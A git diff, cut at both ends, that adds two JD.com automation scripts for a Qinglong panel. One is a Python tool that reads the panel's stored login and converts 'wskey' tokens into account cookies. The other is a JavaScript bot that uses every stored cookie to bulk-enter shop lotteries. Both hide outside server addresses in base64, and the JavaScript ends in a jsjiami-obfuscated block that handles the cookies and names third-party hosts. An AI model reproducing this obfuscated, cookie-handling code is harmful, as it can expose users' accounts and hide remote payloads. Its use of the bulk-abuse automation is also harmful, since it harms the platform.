this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wskey.py b/jd_wskey.py new file mode 100644 index 0000000..e5ef778 --- /dev/null +++ b/jd_wskey.py @@ -0,0 +1,525 @@ +# -*- coding: utf-8 -* +''' +new Env('wskey转换'); +''' +import socket # 用于端口检测 +import base64 # 用于编解码 +import json # 用于Json解析 +import os # 用于导入系统变量 +import sys # 实现 sys.exit +import logging # 用于日志输出 +import time # 时间 +import re # 正则过率 + +if "WSKEY_DEBUG" in os.environ: # 判断调试模式变量 + logging.basicConfig(level=logging.DEBUG, format='%(message)s') # 设置日志为 Debug等级输出 + logger = logging.getLogger(__name__) # 主模块 + logger.debug("\nDEBUG模式开启!\n") # 消息输出 +else: # 判断分支 + logging.basicConfig(level=logging.INFO, format='%(message)s') # Info级日志 + logger = logging.getLogger(__name__) # 主模块 + +try: # 异常捕捉 + import requests # 导入HTTP模块 +except Exception as e: # 异常捕捉 + logger.info(str(e) + "\n缺少requests模块, 请执行命令:pip3 install requests\n") # 日志输出 + sys.exit(1) # 退出脚本 +os.environ['no_proxy'] = '*' # 禁用代理 +requests.packages.urllib3.disable_warnings() # 抑制错误 +try: # 异常捕捉 + from notify import send # 导入青龙消息通知模块 +except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("无推送文件") # 标准日志输出 + +ver = 20318 # 版本号 + + +# 登录青龙 返回值 token +def get_qltoken(username, password): # 方法 用于获取青龙 Token + logger.info("Token失效, 新登陆\n") # 日志输出 + url = "http://127.0.0.1:{0}/api/user/login".format(port) # 设置青龙地址 使用 format格式化自定义端口 + payload = { + 'username': username, + 'password': password + } # HTTP请求载荷 + payload = json.dumps(payload) # json格式化载荷 + headers = { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + } # HTTP请求头 设置为 Json格式 + try: # 异常捕捉 + res = requests.post(url=url, headers=headers, data=payload) # 使用 requests模块进行 HTTP POST请求 + token = json.loads(res.text)["data"]['token'] # 从 res.text 返回值中 取出 Token值 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # Debug日志输出 + logger.info("青龙登录失败, 请检查面板状态!") # 标准日志输出 + text = '青龙面板WSKEY转换登陆面板失败, 请检查面板状态.' # 设置推送内容 + try: # 异常捕捉 + send('WSKEY转换', text) # 消息发送 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # Debug日志输出 + logger.info("通知发送失败") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 无异常执行分支 + return token # 返回 token值 + + +# 返回值 Token +def ql_login(): # 方法 青龙登录(获取Token 功能同上) + path = '/ql/config/auth.json' # 设置青龙 auth文件地址 + if not os.path.isfile(path): + path = '/ql/data/config/auth.json' # 尝试设置青龙 auth 新版文件地址 + if os.path.isfile(path): # 进行文件真值判断 + with open(path, "r") as file: # 上下文管理 + auth = file.read() # 读取文件 + file.close() # 关闭文件 + auth = json.loads(auth) # 使用 json模块读取 + username = auth["username"] # 提取 username + password = auth["password"] # 提取 password + token = auth["token"] # 提取 authkey + if token == '': # 判断 Token是否为空 + return get_qltoken(username, password) # 调用方法 get_qltoken 传递 username & password + else: # 判断分支 + url = "http://127.0.0.1:{0}/api/user".format(port) # 设置URL请求地址 使用 Format格式化端口 + headers = { + 'Authorization': 'Bearer {0}'.format(token), + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Edg/94.0.992.38' + } # 设置用于 HTTP头 + res = requests.get(url=url, headers=headers) # 调用 request模块发送 get请求 + if res.status_code == 200: # 判断 HTTP返回状态码 + return token # 有效 返回 token + else: # 判断分支 + return get_qltoken(username, password) # 调用方法 get_qltoken 传递 username & password + else: # 判断分支 + logger.info("没有发现auth文件, 你这是青龙吗???") # 输出标准日志 + sys.exit(0) # 脚本退出 + + +# 返回值 list[wskey] +def get_wskey(): # 方法 获取 wskey值 [系统变量传递] + if "JD_WSCK" in os.environ: # 判断 JD_WSCK是否存在于环境变量 + wskey_list = os.environ['JD_WSCK'].split('&') # 读取系统变量 以 & 分割变量 + if len(wskey_list) > 0: # 判断 WSKEY 数量 大于 0 个 + return wskey_list # 返回 WSKEY [LIST] + else: # 判断分支 + logger.info("JD_WSCK变量未启用") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info("未添加JD_WSCK变量") # 标准日志输出 + sys.exit(0) # 脚本退出 + + +# 返回值 list[jd_cookie] +def get_ck(): # 方法 获取 JD_COOKIE值 [系统变量传递] + if "JD_COOKIE" in os.environ: # 判断 JD_COOKIE是否存在于环境变量 + ck_list = os.environ['JD_COOKIE'].split('&') # 读取系统变量 以 & 分割变量 + if len(ck_list) > 0: # 判断 WSKEY 数量 大于 0 个 + return ck_list # 返回 JD_COOKIE [LIST] + else: # 判断分支 + logger.info("JD_COOKIE变量未启用") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info("未添加JD_COOKIE变量") # 标准日志输出 + sys.exit(0) # 脚本退出 + + +# 返回值 bool +def check_ck(ck): # 方法 检查 Cookie有效性 使用变量传递 单次调用 + searchObj = re.search(r'pt_pin=([^;\s]+)', ck, re.M | re.I) # 正则检索 pt_pin + if searchObj: # 真值判断 + pin = searchObj.group(1) # 取值 + else: # 判断分支 + pin = ck.split(";")[1] # 取值 使用 ; 分割 + if "WSKEY_UPDATE_HOUR" in os.environ: # 判断 WSKEY_UPDATE_HOUR是否存在于环境变量 + updateHour = 23 # 更新间隔23小时 + if os.environ["WSKEY_UPDATE_HOUR"].isdigit(): # 检查是否为 DEC值 + updateHour = int(os.environ["WSKEY_UPDATE_HOUR"]) # 使用 int化数字 + nowTime = time.time() # 获取时间戳 赋值 + updatedAt = 0.0 # 赋值 + searchObj = re.search(r'__time=([^;\s]+)', ck, re.M | re.I) # 正则检索 [__time=] + if searchObj: # 真值判断 + updatedAt = float(searchObj.group(1)) # 取值 [float]类型 + if nowTime - updatedAt >= (updateHour * 60 * 60) - (10 * 60): # 判断时间操作 + logger.info(str(pin) + ";即将到期或已过期\n") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + remainingTime = (updateHour * 60 * 60) - (nowTime - updatedAt) # 时间运算操作 + hour = int(remainingTime / 60 / 60) # 时间运算操作 [int] + minute = int((remainingTime % 3600) / 60) # 时间运算操作 [int] + logger.info(str(pin) + ";未到期,{0}时{1}分后更新\n".format(hour, minute)) # 标准日志输出 + return True # 返回 Bool类型 True + elif "WSKEY_DISCHECK" in os.environ: # 判断分支 WSKEY_DISCHECK 是否存在于系统变量 + logger.info("不检查账号有效性\n--------------------\n") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' # 设置JD_API接口地址 + headers = { + 'Cookie': ck, + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'user-agent': ua + } # 设置 HTTP头 + try: # 异常捕捉 + res = requests.get(url=url, headers=headers, verify=False, timeout=10) # 进行 HTTP请求[GET] 超时 10秒 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("JD接口错误 请重试或者更换IP") # 标准日志输出 + return False # 返回 Bool类型 False + else: # 判断分支 + if res.status_code == 200: # 判断 JD_API 接口是否为 200 [HTTP_OK] + code = int(json.loads(res.text)['retcode']) # 使用 Json模块对返回数据取值 int([retcode]) + if code == 0: # 判断 code值 + logger.info(str(pin) + ";状态正常\n") # 标准日志输出 + return True # 返回 Bool类型 True + else: # 判断分支 + logger.info(str(pin) + ";状态失效\n") + return False # 返回 Bool类型 False + else: # 判断分支 + logger.info("JD接口错误码: " + str(res.status_code)) # 标注日志输出 + return False # 返回 Bool类型 False + + +# 返回值 bool jd_ck +def getToken(wskey): # 方法 获取 Wskey转换使用的 Token 由 JD_API 返回 这里传递 wskey + try: # 异常捕捉 + url = str(base64.b64decode(url_t).decode()) + 'genToken' # 设置云端服务器地址 路由为 genToken + header = {"User-Agent": ua} # 设置 HTTP头 + params = requests.get(url=url, headers=header, verify=False, timeout=20).json() # 设置 HTTP请求参数 超时 20秒 Json解析 + except Exception as err: # 异常捕捉 + logger.info("Params参数获取失败") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + headers = { + 'cookie': wskey, + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'charset': 'UTF-8', + 'accept-encoding': 'br,gzip,deflate', + 'user-agent': ua + } # 设置 HTTP头 + url = 'https://api.m.jd.com/client.action' # 设置 URL地址 + data = 'body=%7B%22to%22%3A%22https%253a%252f%252fplogin.m.jd.com%252fjd-mlogin%252fstatic%252fhtml%252fappjmp_blank.html%22%7D&' # 设置 POST 载荷 + try: # 异常捕捉 + res = requests.post(url=url, params=params, headers=headers, data=data, verify=False, timeout=10) # HTTP请求 [POST] 超时 10秒 + res_json = json.loads(res.text) # Json模块 取值 + tokenKey = res_json['tokenKey'] # 取出TokenKey + except Exception as err: # 异常捕捉 + logger.info("JD_WSKEY接口抛出错误 尝试重试 更换IP") # 标准日志输出 + logger.info(str(err)) # 标注日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + return appjmp(wskey, tokenKey) # 传递 wskey, Tokenkey 执行方法 [appjmp] + + +# 返回值 bool jd_ck +def appjmp(wskey, tokenKey): # 方法 传递 wskey & tokenKey + wskey = "pt_" + str(wskey.split(";")[0]) # 变量组合 使用 ; 分割变量 拼接 pt_ + if tokenKey == 'xxx': # 判断 tokenKey返回值 + logger.info(str(wskey) + ";疑似IP风控等问题 默认为失效\n--------------------\n") # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + headers = { + 'User-Agent': ua, + 'accept': 'accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'x-requested-with': 'com.jingdong.app.mall' + } # 设置 HTTP头 + params = { + 'tokenKey': tokenKey, + 'to': 'https://plogin.m.jd.com/jd-mlogin/static/html/appjmp_blank.html' + } # 设置 HTTP_URL 参数 + url = 'https://un.m.jd.com/cgi-bin/app/appjmp' # 设置 URL地址 + try: # 异常捕捉 + res = requests.get(url=url, headers=headers, params=params, verify=False, allow_redirects=False, timeout=20) # HTTP请求 [GET] 阻止跳转 超时 20秒 + except Exception as err: # 异常捕捉 + logger.info("JD_appjmp 接口错误 请重试或者更换IP\n") # 标准日志输出 + logger.info(str(err)) # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + try: # 异常捕捉 + res_set = res.cookies.get_dict() # 从res cookie取出 + pt_key = 'pt_key=' + res_set['pt_key'] # 取值 [pt_key] + pt_pin = 'pt_pin=' + res_set['pt_pin'] # 取值 [pt_pin] + if "WSKEY_UPDATE_HOUR" in os.environ: # 判断是否在系统变量中启用 WSKEY_UPDATE_HOUR + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';__time=' + str(time.time()) + ';' # 拼接变量 + else: # 判断分支 + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';' # 拼接变量 + except Exception as err: # 异常捕捉 + logger.info("JD_appjmp提取Cookie错误 请重试或者更换IP\n") # 标准日志输出 + logger.info(str(err)) # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + if 'fake' in pt_key: # 判断 pt_key中 是否存在fake + logger.info(str(wskey) + ";WsKey状态失效\n") # 标准日志输出 + return False, wskey # 返回 -> False[Bool], Wskey + else: # 判断分支 + logger.info(str(wskey) + ";WsKey状态正常\n") # 标准日志输出 + return True, jd_ck # 返回 -> True[Bool], jd_ck + + +def update(): # 方法 脚本更新模块 + up_ver = int(cloud_arg['update']) # 云端参数取值 [int] + if ver >= up_ver: # 判断版本号大小 + logger.info("当前脚本版本: " + str(ver)) # 标准日志输出 + logger.info("--------------------\n") # 标准日志输出 + else: # 判断分支 + logger.info("当前脚本版本: " + str(ver) + "新版本: " + str(up_ver)) # 标准日志输出 + logger.info("存在新版本, 请更新脚本后执行") # 标准日志输出 + logger.info("--------------------\n") # 标准日志输出 + text = '当前脚本版本: {0}新版本: {1}, 请更新脚本~!'.format(ver, up_ver) # 设置发送内容 + try: # 异常捕捉 + send('WSKEY转换', text) # 推送消息 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("通知发送失败") # 标准日志输出 + # sys.exit(0) # 退出脚本 [未启用] + + +def ql_check(port): # 方法 检查青龙端口 + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Socket模块初始化 + sock.settimeout(2) # 设置端口超时 + try: # 异常捕捉 + sock.connect(('127.0.0.1', port)) # 请求端口 + except Exception as err: # 捕捉异常 + logger.debug(str(err)) # 调试日志输出 + sock.close() # 端口关闭 + return False # 返回 -> False[Bool] + else: # 分支判断 + sock.close() # 关闭端口 + return True # 返回 -> True[Bool] + + +def serch_ck(pin): # 方法 搜索 Pin + for i in range(len(envlist)): # For循环 变量[envlist]的数量 + if "name" not in envlist[i] or envlist[i]["name"] != "JD_COOKIE": # 判断 envlist内容 + continue # 继续循环 + if pin in envlist[i]['value']: # 判断envlist取值['value'] + value = envlist[i]['value'] # 取值['value'] + id = envlist[i][ql_id] # 取值 [ql_id](变量) + logger.info(str(pin) + "检索成功\n") # 标准日志输出 + return True, value, id # 返回 -> True[Bool], value, id + else: # 判断分支 + continue # 继续循环 + logger.info(str(pin) + "检索失败\n") # 标准日志输出 + return False, 1 # 返回 -> False[Bool], 1 + + +def get_env(): # 方法 读取变量 + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + try: # 异常捕捉 + res = s.get(url) # HTTP请求 [GET] 使用 session + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("\n青龙环境接口错误") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + data = json.loads(res.text)['data'] # 使用Json模块提取值[data] + return data # 返回 -> data + + +def check_id(): # 方法 兼容青龙老版本与新版本 id & _id的问题 + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + try: # 异常捕捉 + res = s.get(url).json() # HTTP[GET] 请求 使用 session + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("\n青龙环境接口错误") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + if '_id' in res['data'][0]: # 判断 [_id] + logger.info("使用 _id 键值") # 标准日志输出 + return '_id' # 返回 -> '_id' + else: # 判断分支 + logger.info("使用 id 键值") # 标准日志输出 + return 'id' # 返回 -> 'id' + + +def ql_update(e_id, n_ck): # 方法 青龙更新变量 传递 id cookie + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + data = { + "name": "JD_COOKIE", + "value": n_ck, + ql_id: e_id + } # 设置 HTTP POST 载荷 + data = json.dumps(data) # json模块格式化 + s.put(url=url, data=data) # HTTP [PUT] 请求 使用 session + ql_enable(eid) # 调用方法 ql_enable 传递 eid + + +def ql_enable(e_id): # 方法 青龙变量启用 传递值 eid + url = 'http://127.0.0.1:{0}/api/envs/enable'.format(port) # 设置 URL地址 + data = '["{0}"]'.format(e_id) # 格式化 POST 载荷 + res = json.loads(s.put(url=url, data=data).text) # json模块读取 HTTP[PUT] 的返回值 + if res['code'] == 200: # 判断返回值为 200 + logger.info("\n账号启用\n--------------------\n") # 标准日志输出 + return True # 返回 ->True + else: # 判断分支 + logger.info("\n账号启用失败\n--------------------\n") # 标准日志输出 + return False # 返回 -> Fasle + + +def ql_disable(e_id): # 方法 青龙变量禁用 传递 eid + url = 'http://127.0.0.1:{0}/api/envs/disable'.format(port) # 设置 URL地址 + data = '["{0}"]'.format(e_id) # 格式化 POST 载荷 + res = json.loads(s.put(url=url, data=data).text) # json模块读取 HTTP[PUT] 的返回值 + if res['code'] == 200: # 判断返回值为 200 + logger.info("\n账号禁用成功\n--------------------\n") # 标准日志输出 + return True # 返回 ->True + else: # 判断分支 + logger.info("\n账号禁用失败\n--------------------\n") # 标准日志输出 + return False # 返回 -> Fasle + + +def ql_insert(i_ck): # 方法 插入新变量 + data = [{"value": i_ck, "name": "JD_COOKIE"}] # POST数据载荷组合 + data = json.dumps(data) # Json格式化数据 + url = 'http://127.0.0.1:{0}/api/envs'.format(port) # 设置 URL地址 + s.post(url=url, data=data) # HTTP[POST]请求 使用session + logger.info("\n账号添加完成\n--------------------\n") # 标准日志输出 + + +def cloud_info(): # 方法 云端信息 + url = str(base64.b64decode(url_t).decode()) + 'check_api' # 设置 URL地址 路由 [check_api] + for i in range(3): # For循环 3次 + try: # 异常捕捉 + headers = {"authorization": "Bearer Shizuku"} # 设置 HTTP头 + res = requests.get(url=url, verify=False, headers=headers, timeout=20).text # HTTP[GET] 请求 超时 20秒 + except requests.exceptions.ConnectTimeout: # 异常捕捉 + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) # 标准日志输出 + time.sleep(1) # 休眠 1秒 + continue # 循环继续 + except requests.exceptions.ReadTimeout: # 异常捕捉 + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) # 标准日志输出 + time.sleep(1) # 休眠 1秒 + continue # 循环继续 + except Exception as err: # 异常捕捉 + logger.info("\n未知错误云端, 退出脚本!") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + sys.exit(1) # 脚本退出 + else: # 分支判断 + try: # 异常捕捉 + c_info = json.loads(res) # json读取参数 + except Exception as err: # 异常捕捉 + logger.info("云端参数解析失败") # 标准日志输出 + logger.debug(str(err)) # 调试日志输出 + sys.exit(1) # 脚本退出 + else: # 分支判断 + return c_info # 返回 -> c_info + + +def check_cloud(): # 方法 云端地址检查 + url_list = ['aHR0cDovLzQzLjEzNS45MC4yMy8=', 'aHR0cHM6Ly9zaGl6dWt1Lm1sLw==', 'aHR0cHM6Ly9jZi5zaGl6dWt1Lm1sLw=='] # URL list Encode + for i in url_list: # for循环 url_list + url = str(base64.b64decode(i).decode()) # 设置 url地址 [str] + try: # 异常捕捉 + requests.get(url=url, verify=False, timeout=10) # HTTP[GET]请求 超时 10秒 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + continue # 循环继续 + else: # 分支判断 + info = ['Default', 'HTTPS', 'CloudFlare'] # 输出信息[List] + logger.info(str(info[url_list.index(i)]) + " Server Check OK\n--------------------\n") # 标准日志输出 + return i # 返回 ->i + logger.info("\n云端地址全部失效, 请检查网络!") # 标准日志输出 + try: # 异常捕捉 + send('WSKEY转换', '云端地址失效. 请联系作者或者检查网络.') # 推送消息 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("通知发送失败") # 标准日志输出 + sys.exit(1) # 脚本退出 + + +def check_port(): # 方法 检查变量传递端口 + logger.info("\n--------------------\n") # 标准日志输出 + if "QL_PORT" in os.environ: # 判断 系统变量是否存在[QL_PORT] + try: # 异常捕捉 + port = int(os.environ['QL_PORT']) # 取值 [int] + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("变量格式有问题...\n格式: export QL_PORT=\"端口号\"") # 标准日志输出 + logger.info("使用默认端口5700") # 标准日志输出 + return 5700 # 返回端口 5700 + else: # 判断分支 + port = 5700 # 默认5700端口 + if not ql_check(port): # 调用方法 [ql_check] 传递 [port] + logger.info(str(port) + "端口检查失败, 如果改过端口, 请在变量中声明端口 \n在config.sh中加入 export QL_PORT=\"端口号\"") # 标准日志输出 + logger.info("\n如果你很确定端口没错, 还是无法执行, 在GitHub给我发issus\n--------------------\n") # 标准日志输出 + sys.exit(1) # 脚本退出 + else: # 判断分支 + logger.info(str(port) + "端口检查通过") # 标准日志输出 + return port # 返回->port + + +if __name__ == '__main__': # Python主函数执行入口 + port = check_port() # 调用方法 [check_port] 并赋值 [port] + token = ql_login() # 调用方法 [ql_login] 并赋值 [token] + s = requests.session() # 设置 request session方法 + s.headers.update({"authorization": "Bearer " + str(token)}) # 增加 HTTP头认证 + s.headers.update({"Content-Type": "application/json;charset=UTF-8"}) # 增加 HTTP头 json 类型 + ql_id = check_id() # 调用方法 [check_id] 并赋值 [ql_id] + url_t = check_cloud() # 调用方法 [check_cloud] 并赋值 [url_t] + cloud_arg = cloud_info() # 调用方法 [cloud_info] 并赋值 [cloud_arg] + update() # 调用方法 [update] + ua = cloud_arg['User-Agent'] # 设置全局变量 UA + wslist = get_wskey() # 调用方法 [get_wskey] 并赋值 [wslist] + envlist = get_env() # 调用方法 [get_env] 并赋值 [envlist] + if "WSKEY_SLEEP" in os.environ and str(os.environ["WSKEY_SLEEP"]).isdigit(): # 判断变量[WSKEY_SLEEP]是否为数字类型 + sleepTime = int(os.environ["WSKEY_SLEEP"]) # 获取变量 [int] + else: # 判断分支 + sleepTime = 10 # 默认休眠时间 10秒 + for ws in wslist: # wslist变量 for循环 [wslist -> ws] + wspin = ws.split(";")[0] # 变量分割 ; + if "pin" in wspin: # 判断 pin 是否存在于 [wspin] + wspin = "pt_" + wspin + ";" # 封闭变量 + return_serch = serch_ck(wspin) # 变量 pt_pin 搜索获取 key eid + if return_serch[0]: # bool: True 搜索到账号 + jck = str(return_serch[1]) # 拿到 JD_COOKIE + if not check_ck(jck): # bool: False 判定 JD_COOKIE 有效性 + tryCount = 1 # 重试次数 1次 + if "WSKEY_TRY_COUNT" in os.environ: # 判断 [WSKEY_TRY_COUNT] 是否存在于系统变量 + if os.environ["WSKEY_TRY_COUNT"].isdigit(): # 判断 [WSKEY_TRY_COUNT] 是否为数字 + tryCount = int(os.environ["WSKEY_TRY_COUNT"]) # 设置 [tryCount] int + for count in range(tryCount): # for循环 [tryCount] + count += 1 # 自增 + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: # 判断 [return_ws]返回值 Bool类型 + break # 中断循环 + if count < tryCount: # 判断循环次 + logger.info("{0} 秒后重试,剩余次数:{1}\n".format(sleepTime, tryCount - count)) # 标准日志输出 + time.sleep(sleepTime) # 脚本休眠 使用变量 [sleepTime] + if return_ws[0]: # 判断 [return_ws]返回值 Bool类型 + nt_key = str(return_ws[1]) # 从 return_ws[1] 取出 -> nt_key + # logger.info("wskey转pt_key成功", nt_key) # 标准日志输出 [未启用] + logger.info("wskey转换成功") # 标准日志输出 + eid = return_serch[2] # 从 return_serch 拿到 eid + ql_update(eid, nt_key) # 函数 ql_update 参数 eid JD_COOKIE + else: # 判断分支 + if "WSKEY_AUTO_DISABLE" in os.environ: # 从系统变量中获取 WSKEY_AUTO_DISABLE + logger.info(str(wspin) + "账号失效") # 标准日志输出 + text = "账号: {0} WsKey疑似失效".format(wspin) # 设置推送内容 + else: # 判断分支 + eid = return_serch[2] # 读取 return_serch[2] -> eid + logger.info(str(wspin) + "账号禁用") # 标准日志输出 + ql_disable(eid) # 执行方法[ql_disable] 传递 eid + text = "账号: {0} WsKey疑似失效, 已禁用Cookie".format(wspin) # 设置推送内容 + try: # 异常捕捉 + send('WsKey转换脚本', text) # 推送消息 + except Exception as err: # 异常捕捉 + logger.debug(str(err)) # 调试日志输出 + logger.info("通知发送失败") # 标准日志输出 + else: # 判断分支 + logger.info(str(wspin) + "账号有效") # 标准日志输出 + eid = return_serch[2] # 读取 return_serch[2] -> eid + ql_enable(eid) # 执行方法[ql_enable] 传递 eid + logger.info("--------------------\n") # 标准日志输出 + else: # 判断分支 + logger.info("\n新wskey\n") # 标准日志分支 + return_ws = getToken(ws) # 使用 WSKEY 请求获取 JD_COOKIE bool jd_ck + if return_ws[0]: # 判断 (return_ws[0]) 类型: [Bool] + nt_key = str(return_ws[1]) # return_ws[1] -> nt_key + logger.info("wskey转换成功\n") # 标准日志输出 + ql_insert(nt_key) # 调用方法 [ql_insert] + logger.info("暂停{0}秒\n".format(sleepTime)) # 标准日志输出 + time.sleep(sleepTime) # 脚本休眠 + else: # 判断分支 + logger.info("WSKEY格式错误\n--------------------\n") # 标准日志输出 + logger.info("执行完成\n--------------------") # 标准日志输出 + sys.exit(0) # 脚本退出 + # Enjoy diff --git a/jd_wxCollectionActivity.js b/jd_wxCollectionActivity.js new file mode 100644 index 0000000..ff28862 --- /dev/null +++ b/jd_wxCollectionActivity.js @@ -0,0 +1,60 @@ +/* +https://lzkj-isv.isvjcloud.com/wxgame/activity/8530275?activityId= + +不能并发 + +ACTIVITY_ID + +JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 + +pinBlackLists 黑名单,不跑的ck & 分开 +7 7 7 7 7 jd_wxCollectionActivity.js +*/ +const $ = new Env('加购物车抽奖 一键加购'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = message = '' ,isPush = false; +let activityIdList = [ +] +let lz_cookie = {} +let pinBlackLists = [] + +if (process.env.ACTIVITY_ALL && process.env.ACTIVITY_ALL != "") { + activity_all = process.env.ACTIVITY_ALL; +} +if (process.env.ACTIVITY_ID && process.env.ACTIVITY_ID != "") { + if (process.env.ACTIVITY_ID.indexOf('&') > -1) { + activityIdList = process.env.ACTIVITY_ID.split('&'); + } else { + activityIdList = [process.env.ACTIVITY_ID]; + } + } + activityIdList = [...new Set(activityIdList.filter(item => !!item))] + +if (process.env.pinBlackLists && process.env.pinBlackLists != "") { + pinBlackLists = process.env.pinBlackLists.split('&'); +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +let doPush = process.env.DoPush || false; // 设置为 false 每次推送, true 跑完了推送 +let removeSize = process.env.JD_CART_REMOVESIZE || 20; // 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +let isRemoveAll = process.env.JD_CART_REMOVEALL || true; //是否清空,如果为false,则上面设置了多少就只删除多少条 +$.keywords = process.env.JD_CART_KEYWORDS || [] +$.keywordsNum = 0; +var _0xodK='jsjiami.com.v6',_0xodK_=['‮_0xodK'],_0x2cf9=[_0xodK,'Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','WnR1Zm4=','eENoU0c=','ZVhHZ2s=','eVlsQlA=','RUtvbVU=','bWxQbkI=','bnhRbk8=','ak9HRnk=','YmZxSVY=','T2xndHA=','UHNRY2g=','RVdTSnI=','TnhLcmQ=','eWhFbVE=','ZUNHZnk=','bHZKWGc=','TkhKelM=','UUxaVnI=','WE5rVFk=','QUpKY1k=','Z0JVQm0=','c1NtSFM=','eERDbkM=','dVhxdUw=','cXZVbnQ=','Y3hqeGc=','ZmR2YUw=','ZEtid2k=','TUhMQlM=','SUJyaWY=','eklLa2U=','eXpQVmc=','Z0hJVm4=','Zm5mc2Y=','Y3llY1Q=','Rk1PdlI=','TnZmQmg=','ZFppaVA=','bWhuemM=','QUt0dGI=','QnFET28=','V1hMbXI=','Y1VxUm8=','cXpoTnE=','RmhBZ2o=','TWd6TU8=','a0pmakw=','dXBxZXk=','aXN2T2JmdXNjYXRvcg==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','YXBpLm0uamQuY29t','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','emt4S2o=','REpYUWE=','YWFFdVI=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','WEZBbXQ=','YUVzSnI=','TWRzSmE=','Q2RWY3E=','Wk5UQnk=','Q1FIbXo=','UXVnaFY=','Q25Ea0s=','SUhNRE0=','a0dQelI=','VmFLUlc=','ZnZmWlc=','SFBJd1c=','emtIa2s=','YlBaTUE=','T1RCRUo=','UnVJbWc=','YVlvU08=','d3hDb2xsZWN0aW9uQWN0aXZpdHk=','amRzaWduLmV1Lm9yZw==','cEZIZnM=','enJ0Wm4=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','Q0VueHo=','SkV5WVM=','ZmtTb1o=','bWxJUlg=','RHd0S1A=','RXlNd0w=','Q1JpQ2Q=','U0lHTl9VUkw=','QmpkeVg=','eU9VdEM=','dGFkd08=','RUlyVnI=','aXJwSGg=','c0ZwS3Q=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','clJSaEc=','